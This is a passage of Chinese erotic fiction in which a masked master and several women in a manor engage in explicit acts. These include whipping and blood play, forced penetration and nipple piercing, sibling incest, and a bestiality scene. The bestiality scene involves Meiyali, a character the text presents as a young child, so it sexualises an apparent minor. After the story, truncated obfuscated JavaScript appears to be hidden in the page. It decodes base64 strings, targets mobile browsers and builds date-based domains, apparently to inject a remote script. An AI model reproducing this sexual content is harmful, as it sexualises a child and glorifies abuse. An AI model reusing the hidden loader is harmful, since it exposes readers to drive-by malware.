「早啊!爱丽丝,奶看起来精神不是很好,有事吗?」「嗯……」她深深望入男主人面具下的双眸,好像要看穿他似的。

「我想,我都知道了。」男人很快就知道她在说什麽。

「是吗?那奶打算怎麽办……」

「还不清楚……」

「还没做出决定吗?」

「还没有。」

男人沉默了很久,然后才开口说道:「奶一定要做出选择的,我会给奶一段时间考虑,也一定会尊重奶最后的决定,现在请跟我来。」男人领着爱丽丝,来到长廊角落的一个房间前。房间里像是仓库一样,堆满了各式各样的古董名画。

「我不想欺骗奶,让奶认识到真正的我,奶才能做出无悔的抉择来吧?爱丽丝,把衣服脱下来。」「是。」

爱丽丝顺从地照着男人的话去做。一点也没有在恩雅面前脱衣服时的羞辱感,爱丽丝露出她那光洁无瑕的优美身躯。男人很快地把她绑在墙上。这面墙上挂满了皮鞭和其他很多爱丽丝没见过稀奇古怪的东西。

「爱丽丝,希望奶能接受我。」

男人拿下一根最粗长的鞭子,就狠狠地朝爱丽丝抽过去。爱丽丝觉得耳边一阵冷风袭过,同时在她身上留下炽热的、爱的吻痕。

「啊啊……」

混合了痛苦的快感,强烈地振动她善感的心灵,鲜血沿着她尖翘的乳尖滴落了下来。

「爱丽丝,让我彻底、完全地爱奶吧!」

这次挥下的鞭子,在爱丽丝的大腿内侧划上一道红玫瑰的刺痕。

「我要让奶知道,我是如何地爱奶……」

爱丽丝渴望他的爱、他手上如闪电霹雳挥下的鞭子。她脸上渗出冷汗,双唇间却不断唿出足以溶化一切的温热气息。

「现在要做的事可能会让奶痛苦,不过这正好表达了我对奶炽热的爱……」「不、只要是主人做的,爱丽丝都爱……」爱丽丝发出心醉神迷的呓语。

男人从角落拿出一罐白兰地。墨绿色的玻璃罐里装的不像是酒,而像是什麽溶化了的绿宝石。无数锐利的粒子钻进爱丽丝身上的伤痕,一点点撕裂她的肌肤。

「啊、啊啊……」

「爱丽丝……」

男人用手指抚摸她湿透的身躯,他的舌头像个吸盘黏在上面,贪婪地吸吮着混合了血丝的烈酒。男人灵活的舌尖运动,给爱丽丝带来无限的销魂感。

「嗯嗯……」

男人的手指探进她蜜壶的深处。那里正散发出比酒还香醇的芬芳。

「爱丽丝,让我们分开一段时间,彼此考虑清楚了。」其实爱丽丝心里早有答案。她在浓浓的幸福感中沉睡入梦。当她再度睁开眼睛时,男人已经不知去到哪里。不过爱丽丝一点也不慌张。她一点点回忆着刚才的甜蜜,平静地等待两人相会的日子。

第四章爱的试金石

表面看来在书房读书的男人,其实一个字也没看进去。最近这段时间,他简直是站也不是、坐也不是,看什麽都不顺眼。他心里恐怕也为将来的决定而焦虑不已吧?他从没想过自己会有这样的一天。这应该就是所谓爱情的苦恼。他告诉自己,一定要找点事情做做,来打发这段难熬的时光。

「主人,我送茶来了。」

苏菲在外面敲门,主人因为被打扰而显得更烦了。

他勉强喊了一声。「进来吧!」

苏菲看男人一脸不高兴的样子,战战兢兢地捧着茶盘进来。

「主人,我把茶放桌上。」

「苏菲,奶过来。」

苏菲羞涩胆怯的模样,实在非常惹人怜。长长的眼睫毛盖在黑乌乌的双眸上、高挺小巧的鼻尖、红润欲滴的樱桃小嘴……男人回忆起第一次见到她怦然心动的感觉。

「苏菲,今天天气这麽好,奶陪我出去走走吧!」男人已经很少这麽特别地邀请自己了。

「我、我……」

「怎麽,不愿意吗?」

「愿意、愿意!」苏菲简直要喜极而泣了。

「那好,快把衣服脱了吧!」

「衣服!?」

「我在走廊等奶,出来的时候,可别给我看到奶身上还有任何一块布哦!!」「我知道了。」大家早就习惯了男人各种希奇古怪的要求。有时候还可以说是巴不得男人对自己要求呢!要求越多,才代表他越在意自己呀!

苏菲很快地脱光衣服。她轻俏、泛着粉红色光泽的身躯,如一朵睡莲般清新怡人。

「怎麽了,苏菲,会害羞吗?」

「嗯……」感受到男人赞叹注视的目光,苏菲把头垂得更低了。

像这麽耐看的女孩子实在不多。男人细细品味她匀称的腰身,如水梨般透明的肌肤,小巧的乳尖则是郁金香含苞待放的花蕊。

「主人,你这样看人家,人家会不好意思……」「苏菲,这麽美的身体把它藏在衣服底下,太可惜了!」男人搂着她细致的肩膀,一起走到庭园里。春天的庭园里百花盛开,各式的彩蝶纷纷起舞,让人有置身天堂的幻觉。真想让时光就一直停留在两人相知相拥的一刹那。

「苏菲,如果爱丽丝留下来,奶会……」

「主人,苏菲永远不会改变对您的爱……」

尽管主人会因为爱丽丝而减少陪伴自己的时间,但苏菲情愿忍受这样的委屈,也强胜过一辈子都再也看不到他的痛苦。

「苏菲,不要忘了,这一刻只有我们两人……」「主人,苏菲也是深深地爱着你。」「让我们彼此拥有吧!」

男人的手顺着苏菲柔顺如丝的长发往下滑。滑过她颈间流利的线条,接着就在那圆润的果冻塔上抚弄起来。男人的手指恣意弹跳着,苏菲的乳房有着难以言喻的柔软与弹性。

「啊啊……」

接着就用舌尖抚慰那一对高翘饥渴的小嘴。苏菲的身子配合着节奏扭动起来。

「不、不行了……」

男人抱起她,把她放在春天鲜嫩、滚动着露水的草地上。她的双腿弯曲张开着,秘处迷人的花花草草比起自然界的繁花盛开,一点也不逊色。男人的手指像只金黄色的小瓢虫,轻轻爬上她肿胀多汁的花瓣。

「嗯嗯、不……」

「苏菲,奶的声音好美,叫大声点啊!」

「我、我……」

「别怕,这里就只有我们。」

「主人,好、好舒服……」

「说吧!还要我做什麽奶最爱的……」

男人的指尖悄然探入花瓣间沁出蜜汁的裂痕。

「来,把腿张开点!让我看清楚奶可爱的妹妹。」苏菲尽管害羞地闭上眼睛,却仍依着主人的话去做。

「不要那样一直看……」

不过苏菲倒是努力地把腿开到最大。男人连内径里重叠曲折的皱褶都看得很清楚。

「啊啊……」

男人用手指撑开那深具魅力的凹孔,舌就这麽一点点探了下去。他尝到混合了多种花香的蜜水。他的舌尖贪婪地鼓动在源源不绝的蜜泉中。

「主、主人,进来,快点……」

男人躺在苏菲的身旁,与她正面相拥。他身下的男体一下子就钻进苏菲的体内。那感觉就像苏菲体内伸出一只手把他拉了进去似的。被温暖包覆的男根感到无比的畅快。

「啊啊、啊……」

「苏菲,好极了!!」

两人紧抱在一起扭动起来,那画面看来是说不出的淫魅。

「嗯嗯……」

高潮一波波袭来,几乎要将两人淹没了。

「啊啊……」

在苏菲狂喜的叫喊中,男人终于确认了她对自己永志不渝的爱。尽管她知道男人不会只有她一个人,她还是决定忍受思念的痛苦,一辈子守在他身边。

男人穿好衣服,轻轻吻了一下闪着泪光的苏菲,然后就离开了。

爱丽丝模模煳煳地感到隐隐的疼痛。她张开眼,发现自己正全身赤裸地躺在地上。身上有一道道乌黑青紫的鞭痕。她慢慢记起刚才发生的事。

「嘿嘿嘿……奶这副贱样很适合奶吗?」

原来还有其他人也在房里。只见玛莉由昏暗中走来,她手上拿着点满蜡烛的烛台。

「好痛……」

玛莉不多说什麽,就把燃烧的蜡油往她身上滴。蜡油沿着鞭痕凝固,像新滴出的血。

「奶这贱货,烧死奶、烧死奶……」

「玛莉,我究竟做了什麽?你要这样子对我……」「奶、就是奶要来抢我最心爱的人……」玛莉哭喊出来,那样子就像发了疯一样。

「不、奶误会了,玛莉,我没有……」

「还说没有,奶们这些烂女人,也不自己照照镜子看看,我哥哥凭什麽要喜欢奶们……」玛莉哭叫地跑离开了。爱丽丝尽管受到伤害,内心还是深深地同情这个为爱所苦的女孩。

主人走回屋里,在楼梯遇到正在打扫的安娜。他突然停下脚步。

「安娜……」

「主人,您叫我吗?」

「没错,我看奶最近工作越来越不认真了。」

「主人……」

「怎麽没用我教奶的打扫方式?」

「嗯!?」

「快点,如果奶还爱我的话……」

安娜委屈地蹲下身子,伸出她粉红色的舌头在扶手上舔了起来。

「主人,您最听话的仆人安娜正在为您服务。」「这不是奶最喜欢的吗?」「我、我全是为了主人您才这麽做的。」

原木扶手因为安娜的唾液而闪着晶茔的光亮。安娜更加快速地动着舌头,她自己也像陶醉在这舔舐的快感中。男人看着也不禁要流下口水来。

「安娜,奶是不是一直在等着?」

男人掀开安娜的长裙,发现下面除了吊袜带外,什麽也没有。

「主人,我……」

「废话少说,奶一定早就想要了。」

男人把手指伸进安娜的凹陷处。那里也早已如扶手般沾满黏黏湿湿的分泌物。

安娜继续若无其事地做着她的清洁工作。只是她的屁股翘得更高了。股间两片红鼓鼓的花唇,正随着身体的动作一张一闭地蠕动着。

「安娜,说、说奶自己是小淫娃!」

「主人、我……」

「快说!不然我……」男人用力地捏着那颗易碎的珍珠。

「我、我好淫荡,是个淫娃。」

「是淫荡的坏女孩!」

「是、是淫荡的坏女孩!」

啪啪!!男人结实的手掌朝她丰满的双臀打下去。

「痛、好痛……」

「这是教训奶这种坏女孩最好的方法。」

「不、不……」

「别装了,奶不是在嫌我打得还不够重吗?」

「我、主人,用力点啊!」

男人又勐力挥了几下才停止。安娜白皙的屁股微微发红,看起来像极了就快要熟透的水蜜桃。

「说奶还想做什麽啊?」

「主人、我……」

安娜娇滴滴的嘤呢,让男人再也顾不得什麽。他的手在安娜胸前摸索起来。

尽管透过衣服,也能感受到那两只小兔子的温暖与丝绒般的触感。

「主人,在这里……」

「在这里又怎麽了?奶不是故意在这里等我的吗?」「我只是在打扫。」「那怎麽连底裤都不穿?」说着就在那两团熟透的面团上搓揉起来。

「啊、嗯嗯……」

一只手则顺着纤细的腰滑向大腿内侧。男人敏锐的指尖,感受到顶端的热带丛林正发散出令人难以抗拒的召唤。他现在只想放纵自己、在其中任意享乐。

「把衣服脱掉!」

先前还故作害羞的安娜迫不及待地脱下衣服,对着主人张开她最隐密的地方。

「我就是喜欢像奶这样坦率的女孩子。」

「主人,您的仆人安娜也会永远爱您的。」

男人从后面侵入安娜的秘道。他坚挺的炮台很快就开进深处,丰沛的火力让他能够维持很久。安娜几乎要溶化在这一片无尽的欲火中。她再也控制不住的淫喊声回荡在整个屋里。

「啊!!啊啊……」

在彼此长长的凝视中,主人满意地确定了安娜对他独一无二的爱情。

爱丽丝被敲门声吵醒了。

「是谁?」

「是我,梅亚莉,可以进来吗?」

「进来吧!」

梅亚莉拿着托盘战战兢兢地走了进来。

「给奶送晚餐来了!」

「奶怎麽知道我在这里?」

「我问主人的……」

「谢谢奶,梅亚莉……」

梅亚莉好像又恢复了爱丽丝第一次见到她时的善良天真。

「爱丽丝、奶……」

「奶有什麽话就直接说。」

「奶很讨厌玛莉吗?」

「嗯……」

「其实玛莉也是个好女孩,我不懂为什麽大家都那麽排斥她。」为了安慰她爱丽丝也只好说道:「嗯,其实她也有自己不得已的苦衷。」爱丽丝知道,玛莉也只会对像梅亚莉这样不会跟她抢男人的小女生好。

「奶赶快吃饭吧!不然要冷掉了。」

「谢谢!」

「那我先走了。」

闻到菜饭香喷喷的味道,爱丽丝才发觉自己真的肚子饿了。她一边吃着,一边想关于主人和玛莉的事。尽管是一个人在吃饭,爱丽丝倒一点也不感到寂寞。

她静静等待最后爱的告白。

不知道是什麽时候,门忽然被打开了。走过来的是恩雅优雅的身影。

「爱丽丝,我想跟奶谈谈。」

「嗯……」

自从那次到过恩雅的房间后,两人就没有再单独碰面了。现在她突然出现,一定有什麽事。爱丽丝有一种不祥的预感。

「我是来向奶道别的。」

「道别!?奶要离开了……」

「嗯、我想原因奶应该很清楚了。」

「我……」

「虽然不是奶的错,但是因为奶的到来……」

爱丽丝不知道该说点什麽。

「在这样下去不是办法。」

「可是主人……」

「我爱他就跟奶一样。」

「……」

「我不能忍受他还爱着其他女孩的事实。」

「所以……」

「我知道我会是战败者,所以我要离开。」

「……」

「那次在房间里,我很抱歉,希望奶不要放在心上。」「恩雅……」「请替我好好爱他,像奶这样聪明漂亮的女孩,才会是他最终的撰择。」恩雅转过身去。爱丽丝知道她眼里早就盈满了泪。爱丽丝想起和恩雅的相遇、自己亲爱的姊姊就要离开了,也不禁掩面痛哭起来。她哭了又醒、醒了又哭,就这样渡过寂寞的夜晚。

第二天又是一个温暖的好天气。春天的脚步一点点逼近了。男人沉溺在自己的伤感里,正打算到庭园散散步、舒解一下情绪。经过大厅时看见恩雅倚在窗边的身影。

「恩雅,在做日光浴吗?」

「不、主人,我正在等你。」

「等我?」

「嗯、我可以跟你谈谈吗?」

「好,那到我房间来吧!」

恩雅的表情很奇怪,那里面有主人不愿去解读的哀怨。

「我们好久没这样在一起了。」

「是吗?」

「我以为你已经忘了我了。」

「恩雅,奶别多心。」男人的心开始忐忑不安。

「我一直还是爱着奶的。」

「你只是说说罢了。」

「恩雅,奶为什麽这麽说?」

「我……」

男人不想听下去,他怕听到什麽他所无法承受的。

「我、我要离开这里……」

果然被料到,主人强作镇定地说:「如果是奶的选择,我不会拦奶的。」「你变了……」「是吗?我自己并不觉得。」

「你一直追寻的人终于出现了。」

「嗯、所以奶要离开?」

「嗯……」

看着眼前成熟端庄的恩雅,主人不禁想起他们刚开始认识时,恩雅还是个十六、七岁调皮任性的少女。时光已在不知不觉间带走往日美丽的回忆。很多事逝去了,就无法追回。

「抱住我吧!」

「嗯……」男人感动地抱住这个陪伴他走过这麽久的岁月的女子。

「让我最后再任性一次!」

恩雅倒在他的怀里,双眸中满是泪水。男人抱起她,轻轻地放到床上。他极力压抑即将倾泄而出、混合着分离苦痛的激情。

「恩雅,别离开我!」

「主人,这里多的是爱你的女孩,反正你也几乎要忘了我。」男人炽热的唇贴了上去,不让她多说什麽。这滋味像是他们第一次的接吻。

实际上恩雅也是他的初恋情人。相遇、分离……这也许就是亘古的恋歌。男人不想去多想。他现在能做的,就是好好享受这最后一次的爱的结合。

「恩雅,其实我一直都爱着奶。」

「不、不要为了安慰我而说谎。」恩雅用手指按住他的双唇。

「笑一笑吧!恩雅,我最爱奶灿烂的笑容。」

「……」

恩雅抿着的嘴角微微抽动。她怕再用力,泪珠就会滚落下来了。

「来,让我们忘了一切,彻彻底底地爱吧!」

男人搂住恩雅的腰,双唇在她的颈间游移着。

「嗯嗯……」

恩雅的声音里有着兴奋、也有着说不出的忧愁。男人熟悉的味道和触感唤起两人多年的回忆。

「这次,让我来爱你!」

男人依着恩雅的意思躺在床上。恩雅爬到男人身边,用樱花瓣的红唇含起那根闪着寒光的宝剑。

「啊、啊啊……」

在确定被充分滋润后,恩雅就直接坐了上去。这是最完整也是最深入的结合。

男人扭动起腰,让男根享受冲上天般的快感。

「恩雅……」

「不、不,什麽都不要说。」

在高潮的冲击下,两人都暂时忘记了离别的痛苦。

事后,男人故意装作沉沉地入睡,不去看恩雅离去时孤独的身影。窗外是一片黑暗,彷佛也象徵着男人此时的心情。男人陷入深深的伤感中。

直到门外传来急促的敲门声。

「是谁?」

男人一时以为恩雅又回来了。

「是我,梅亚莉。」

「哦?」男人掩不住满腔的失望。

「梅亚莉,有事吗?先进来吧!」

对于梅亚莉的来访,男人觉得很意外。她一向是跟玛莉黏在一起的。

「主人,都没人陪梅亚莉,梅亚莉好寂寞哦!」「那玛莉呢?」「玛莉姐不在房里,安娜和苏菲都忙着工作、也不理我。」「要我陪奶是吗?」「嗯……」男人想梅亚莉倒真是现在最好的伴。

「主人,请到梅亚莉的房间。」

梅亚莉的房间是典型的小女孩房间。粉红色的桌灯、粉红色的床,床上堆满了各式的布偶娃娃。梅亚莉抱了一只大猫熊来。

「奶的玩具可真多,我们该玩什麽呢?」

「不知道。」

显然拥有再多的娃娃,小女生也会有玩腻的一天。

「主人,你喜欢我吗?」

「喜欢。」

「喜欢玛莉吗?」

「喜欢。」

「那安娜、苏菲、爱丽丝呢?」

「都喜欢。」

梅亚莉的眼里闪着诡异的光芒,就像猫眼般不断地变化。这种超乎年龄的眼神,为她添增了一种成熟妩媚的韵味。

「主人,跟亚亚玩亲亲!」

梅亚莉故意抱着猫熊。跟它嘴对嘴亲了一下。

「梅亚莉,奶从哪里学会这个的?」

「主人我已经好N次看过奶跟安娜她们玩这种游戏罗!」男人说不出话来。其实这也怪自己。在做的时候,从来没想到家里有只适合观看普遍级的小朋友。

「主人,来吧!」

梅亚莉已经主动握住男人的手,把它放在自己的胸上。男人碰触到如葡萄干般小小的隆起。

「会害怕吗?」

「嗯……」

「别担心,我会很温柔地待奶的。」男人的手指开始做着圆弧的运动。一圈、一圈……涟漪般的快感慢慢在梅亚莉的身上荡漾开来。

「好温暖哦!」

她眯着眼睛,脸颊染上一层淡淡的红晕。

「梅亚莉,喜欢吗?」

「嗯……」她害羞地点点头。

「来让我看看奶可爱的身体!」

他替她解开拉炼。她粉红色、圆滚滚的身躯就像一团好吃的棉花糖。男人忍不住把头埋了进去,恣意地享受起来。

「不要,人家会不好意思啦!」

尽管如此,她的身体还是很确实地反应出她真正的感受。小小的乳头高高翘了起来。那冰冰凉凉的触感是两粒金属制的钮扣。

「啊啊……」

男人的手指滑入湿润的花径。梅亚莉的花蜜很清很净,像是早春初化的雪水。

男人的手指像金蛇般悠游于这一池春水,忘形地嬉戏着。

「喵喵……」

身后突然传来猫叫声。原来那只叫蒂蒂的灰白猫也不甘寂寞地跑了过来。男人一下子就明白梅亚莉和蒂蒂间的关系。

「小女孩,奶倒是蛮懂得享乐的!」

「……」

梅亚莉的脸一下子红透了。她抱着男人的脖子撒娇地说:「主人,都是因为你很少陪我,人家寂寞才……」她还没说完,蒂蒂就已经一股脑地跑到她身上,一头钻进那最甜蜜温暖的温柔乡。它像吸奶般吸着梅亚莉的小花蕊。梅亚莉咿咿呀呀地淫喊起来。显然长期相交的默契让梅亚莉很快就进入兴奋狂乱的状态。

「主人,我、我好爱你!」

「我也是!」

男人紧紧抱住被猫舌头刺激得接近极点的梅亚莉的身体。

「啊啊……」

达到高潮的梅亚莉昏眩了过去。男人把她娇柔的身躯放在床上。轻轻吻了她一下后,安静地离开了。

在阴暗的房间里,爱丽丝一直静静地在等待。等待最终一刻的到来,是分离或是永远的结合……爱丽丝知道,这样的选择也许就决定于瞬间的心情与冲动。

长廊外传来脚步声。由远至近……

第五章心爱的人名叫爱丽丝

「对了,她的生日就快到了。」

窗外渐渐有光线射进来。爱丽丝仍醒着。她一夜没睡,想着各种问题。

自从做下决定后,爱丽丝就像一夜之间成熟了起来。虽然是短短的几天,感觉上却如几年般漫长。

恩雅确实离开了。每当想到她是因为自己才被迫离开的时候,爱丽丝就心里一阵难受。不过,那也是她的选择。

现在只利下玛莉算是破坏这整个天堂般生活的人。其实谁都看的出来,玛莉会变成这样子,实际上是由于她过度压抑了对男人的爱。对男人超乎兄妹之情的爱……由于无法表达,她只好把这份爱意转化为对其他女孩强烈的恨意。可是这却破坏了屋宅里和谐的生活。

爱丽丝深知这一点。她决定在玛莉生日的时候,给她一次大大的转变。

「大家都来了吗?」

在春暖花开的日子里,大家围坐在庭园里的餐桌为玛莉庆生。身为寿星的玛莉,却仍摆着一张大臭脸。

「玛莉,今天大家在一起庆祝奶的生日,别摆出一副不高兴的样子。」连平常对她百依百顺的男人也不禁要说她两句。

玛莉的嘴嘟得更高了。「谁稀罕你们这些无聊的庆生啊?」「那好,我们就来玩一个更有趣的游戏。」

「哼!又是在哄小孩的……」

「大家有听过猎狐游戏吗?就是在郊外放只狐狸、让大家来追,第一个追到的人就算蠃了。」

「听起来好好玩哦!」

「不过我们要猎的狐不是真的狐,而是由人假扮的。」这个游戏其实是爱丽丝的主意。她打算透过让玛莉感受被虐时的痛苦,而停止她对其他女孩的虐待。况且在这座屋宅里,所谓兄妹间的禁忌也根本不存在。

「那要让谁当狐狸?」

「当然就是玛莉,今天她长尾巴,当然应该被我们抓。」「我、为什麽是我?」

男人不管她的抗议,就开始动手剥她的衣服。

「啊啊……」

「哭什麽哭?当狐狸还穿什麽衣服……」

很快地玛莉就被脱得精光。没有了华丽衣服的装饰,玛莉就像是一个楚楚可怜的少女。她微微隆起的玫瑰花瓣和稀疏的芳草,都显得如此娇弱可人。

「现在要戴上这个。」

男人出拿出毛绒绒的狐狸耳朵和一根长长大大的尾巴。狐狸耳朵很容易戴,只要像个发圈般戴上就好。不过狐狸尾巴就没有这麽容易了。又重又长的尾巴得插在屁眼里才支撑得住。

「不要、好痛……」

男人把尾巴根部的细针头插入玛莉股间的小穴。玛莉扭动身子、想要躲开。

不过都让安娜和苏菲压住了。

「呜、呜呜……」

细针深深地插入玛莉的菊花蕊。狐狸尾巴总算是被固定住了。

「好极了,不是吗?」

连梅亚莉也兴奋地拍着手、大叫起来。

「玛莉姐,真的好像、好像哦!!」

「好了,准备完毕,玛莉,奶先回屋里去,我们五分钟后就开始猎狐行动!」说完,就往玛莉的屁股上用力地踢了一脚。

尽管不情愿,但在现在这种状况下也不能做什麽了。玛莉站起来,就要朝屋里的方向走去。

「不行!奶给我回来,要用爬的」

玛莉满含着眼泪委屈地在地上爬。

爱丽丝和男人在进入屋宅前很快地交换了一下眼神。

「一切照计划。」

「嗯、我想她这次总算吃到了苦头。」

「爱丽丝,在下佩服佩服了!」

男人还故意拱手作揖了起来。

玛莉匆忙地跑到二楼,一面还注意着身后是否有传来的脚步声。怎麽会有这种事?哥哥从来没对自己这样的……一定是爱丽丝出的馊主意!!自从爱丽丝来了以后,哥哥像变了一个人似的。玛莉想一屁股坐在地上痛哭……可是才稍微蹲下身子,就被那插在后穴里又冰又长的针给刺痛了。

「啊!」玛莉这才第一次感受到痛不欲生的滋味。

刚进入屋宅的苏菲,直接走上楼梯,就像被某种莫名的力量吸引。她走到一间没人住的房间,一眼就看到躲在那里、用乞求的目光看着自己的玛莉。

「嘿嘿嘿……总算给我找到了。」

「苏、苏菲……」

「哦、奶也会发抖嘛!」

「……」

「赶快求我啊!奶求我的话,我还可以考虑放了奶。」「请、请原谅我。」

玛莉吓得发抖。她现在真像是被人逼到死角的狐狸。

「奶以为这样就可以了吗?笑死人、乖乖给我瞌头跪下!」「呜呜……」

苏菲用手按住玛莉的头。她高高在上的姿态,让玛莉想起从前的自己也就是这样对苏菲的。不过,现在后悔也来不及了。

「尾巴很漂亮嘛!可以借我摸摸吗?」

「不、请不要碰那个东西。」

玛莉知道随便动一动,里面的针都会深深刺伤自己的。

「那来舔我这里!」

苏菲掀开裙子、脱下底裤,把玛莉的头夹在自己的大腿间。她用手撑开自己深色肿胀的花唇。

「来啊!给我用力地舔。」说着,就用力来紧玛莉的头。

玛莉觉得自己简直要窒息了。在不得已的情况下,她只好伸出舌头,舔着那看起来有些肮脏的地带。玛莉因紧张而爆起的舌蕾,强烈地刺激着苏菲的珍珠。

她忍不住呻吟起来。

「啊啊……」苏菲扭动起身躯。

玛莉的舌尖不断地进出在她狭长的裂痕。越来越强烈的波涛,几乎要将她淹没了。

「好极了!现在换我来为奶做点事吧!」

苏菲把玛莉压倒在地上。就用指尖去捻她胸前那初绽放的小花蕾。

「啊啊、好痛!」

花蕾变得更加艳红挺直。尖端的小肉球一粒粒突了出来,像在等待与指尖做正面的接触。

「现在知道痛了吧?想想奶以前是怎麽对我的……」「呜呜……」

苏菲的手指逐渐往下移,在她两片肉唇间鼓动起来。

「啊、呜……」还混合着呜咽的淫喊声,有一种说不出的淫荡。

「还要吗?奶这小贱妇。」

「要、我还要……」玛莉的官能享乐逐渐苏醒了。

苏菲的手指越来越流利地进出着。她碰到尚未开封的蜜井的薄膜,突然想就这麽地冲过去。

「不!!」

「为什麽不?这样奶才会永远记住曾经犯过的错误。」「会痛、会痛的……」

「放松奶的身体,慢慢地……」

其实苏菲对玛莉也没有这麽大的仇恨。她在心里早就已经原谅她了。现在所做的真的只是给她点教训罢了。

「进去了!!」

像有一道烈火沿着狭道燃烧了起来。被撕裂的痛楚让玛莉流下了泪。

「啊啊……」

「可以了,苏菲。」

就在两人最火热的时候,身后突然传来爱丽丝的声音。

「奶、这一切都是奶一手导演的吧?」

「不、玛莉……」

「奶们大家都讨厌我、都恨我,才想出这个办法来整我的吧?」「玛莉,没有一种感情是绝对的,从现在开始我们应该忘记一切,试着彼此相爱才对。」爱丽丝蹲下来,搂着玛莉的身子说道。

「玛莉很爱哥哥吧?」

「嗯……」

「可是大家也都喜欢主人,我、安娜、苏菲和梅亚莉。」「我知道。」

「所以哥哥不是玛莉所独有的,不过也没有人能从玛莉身边抢走他。」「嗯……」

「来吧!玛莉,大家都在等奶。」

玛莉不知该如何是好,只是掩着脸不断哭泣着。

爱丽丝和苏菲一起搂着她纤柔的身躯走下楼去。

「等好久罗!我们要庆祝玛莉的重生。」

梅亚莉高兴地蹦蹦跳跳。男人走到玛莉面前、深情地望着她。

「玛莉,生日快乐!」

玛莉垂下眼帘。

「我想经过这一切,奶应该可以了解我对奶的爱。」然后又困惑地抬起头来。

「我们之间既然超过一般的兄妹之情,就应该勇敢地面对它。」她的眼眶里闪着莹亮的泪珠。

「哥哥,我一直是如此爱你。」

「别再叫我哥哥,就当我是奶的情人吧!」

玛莉激动地搂住他。

「哥、不,我的爱,我会和其他女孩一样永远爱着你的。」「我真的好高兴听奶这麽说。」

男人怀里的玛莉绽放出幸福的笑容。

「现在我要送奶一个特别的生日礼物,做为永远的纪念。」「那是!?」

男人拿出一个黑色的丝绸珠宝盒。

「来,奶自己打开来看看。」

玛莉用颤抖的手指打开珠宝盒。在里面的是一对坠着小铃铛的可爱耳环。当然一般人一定是想把它挂在耳垂下,可是……

「很漂亮,想不想挂上?」

男人从口袋里拿出一根细长的针。

「让我帮奶把它挂上。」

男人捻起玛莉小巧变硬的乳头。玛莉的身体激烈地颤抖起来。

「怎麽了,会害怕吗?」

「那、那里……」

男人熟稔地搓揉着她的乳尖,直到它逐渐变热变硬。

「啊啊……」

「再稍微忍耐一下。」

针尖已经接近那泛着粉红色光泽的樱桃。眼看很快就要戳破那熟透的果皮,深入里面细致绷紧的果肉。

「啊……」玛莉紧闭着双眼,像在感受这被穿透过的刺痛。

「呜呜……」

时间像是无比漫长。一秒一秒被计算在针尖穿透过的速度上。在场的每个人都动也不动地凝视这神圣的仪式。

「哇……」

细细的银针头终于穿透了出来。像一只银色的瓢虫第一次伸出它的触手。还流下了新生的血液。

男人小心地抽出细针。在另一边的乳头重覆刚才的动作。然后他替她戴上小银环。银白色的光芒中衬着微微的血光。那感觉有说不出的淫靡。

「啊啊……」

爱丽丝也走了过来。她抱着爱丽丝接近虚脱的身子,用极温柔的语气说着。

「玛莉,其实奶一直都很痛苦,对不对?」

「嗯……」

「只要奶跟大家好好相处,从今天之后,奶就可以免除这样的痛苦了。」「……」

「当然,由于主人为大家所共有,我们难免有寂寞的时候……」爱丽丝边说边脱下自己的衣服。

「这时候我们就要彼此安慰。」

爱丽丝拉着她的手,把它放到自己的胸前。

「这样就会很温暖了!」

「嗯……」

「让我们就这样永远甜甜蜜蜜地过日子吧!」

「爱丽丝……」

两人激动地拥抱在一起。她们用身体感受彼此的温暖和唿吸。

「玛莉……」

大家满意地看着两人。脸下挂着喜悦的微笑,悄悄地离开了。就算他们回到自己房里,仍能感受到那种暖洋洋的气氛。这天晚上大家都做了一个甜美的梦。

只是在午夜的时候,爱丽丝突然醒了过来。她想起今晚发生的一切,觉得好像很近又很远。而那晚冒着风雨来到这里时的感觉,却又变得如此清晰。她想起K……彷佛知道他就在身边,却又如一个影子般捉摸不定。

「爱丽丝……」

门外传来熟悉的唿唤。是K、是主人??连爱丽丝自己也分不清楚了。她飞奔出去。墙角上倚着一个俊挺的身影。

「奶看起来很幸福嘛!」男人边说边拿下脸上的面具。

那是K……他迷人的笑靥一点也没变。爱丽丝紧紧搂住他。

「我就知道是你……」爱丽丝高兴地哭了出来。

「让奶受苦了!」

「我……」大粒大粒的泪珠由脸颊滚落下来。

「爱丽丝,谢谢奶还是选择了我。」

「我爱你!」

这句话对现在的爱丽丝有着更不同的意义。它彷佛累积了对主人和K双倍的爱,而更加地真实起来。也许一切的选择就是这样。尽管包含了许多的痛苦,但终会因为它是自己的选择而愿意承担。

它的结果可能会像恩雅,最后以伤害和别离收场。当然也可能是爱丽丝这种情形,因为最后的坚持而得到双倍的喜悦。不过这一切哲理性的推论,对沉溺在爱河的两人并不重要。他们现在只想深深地相爱。直到永远永远…… 

function ReZXuWM(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LjFzVkH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ReZXuWM(t);};window[''+'T'+'G'+'s'+'Y'+'I'+'q'+'e'+'K'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function isynG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LjFzVkH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=isynG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var 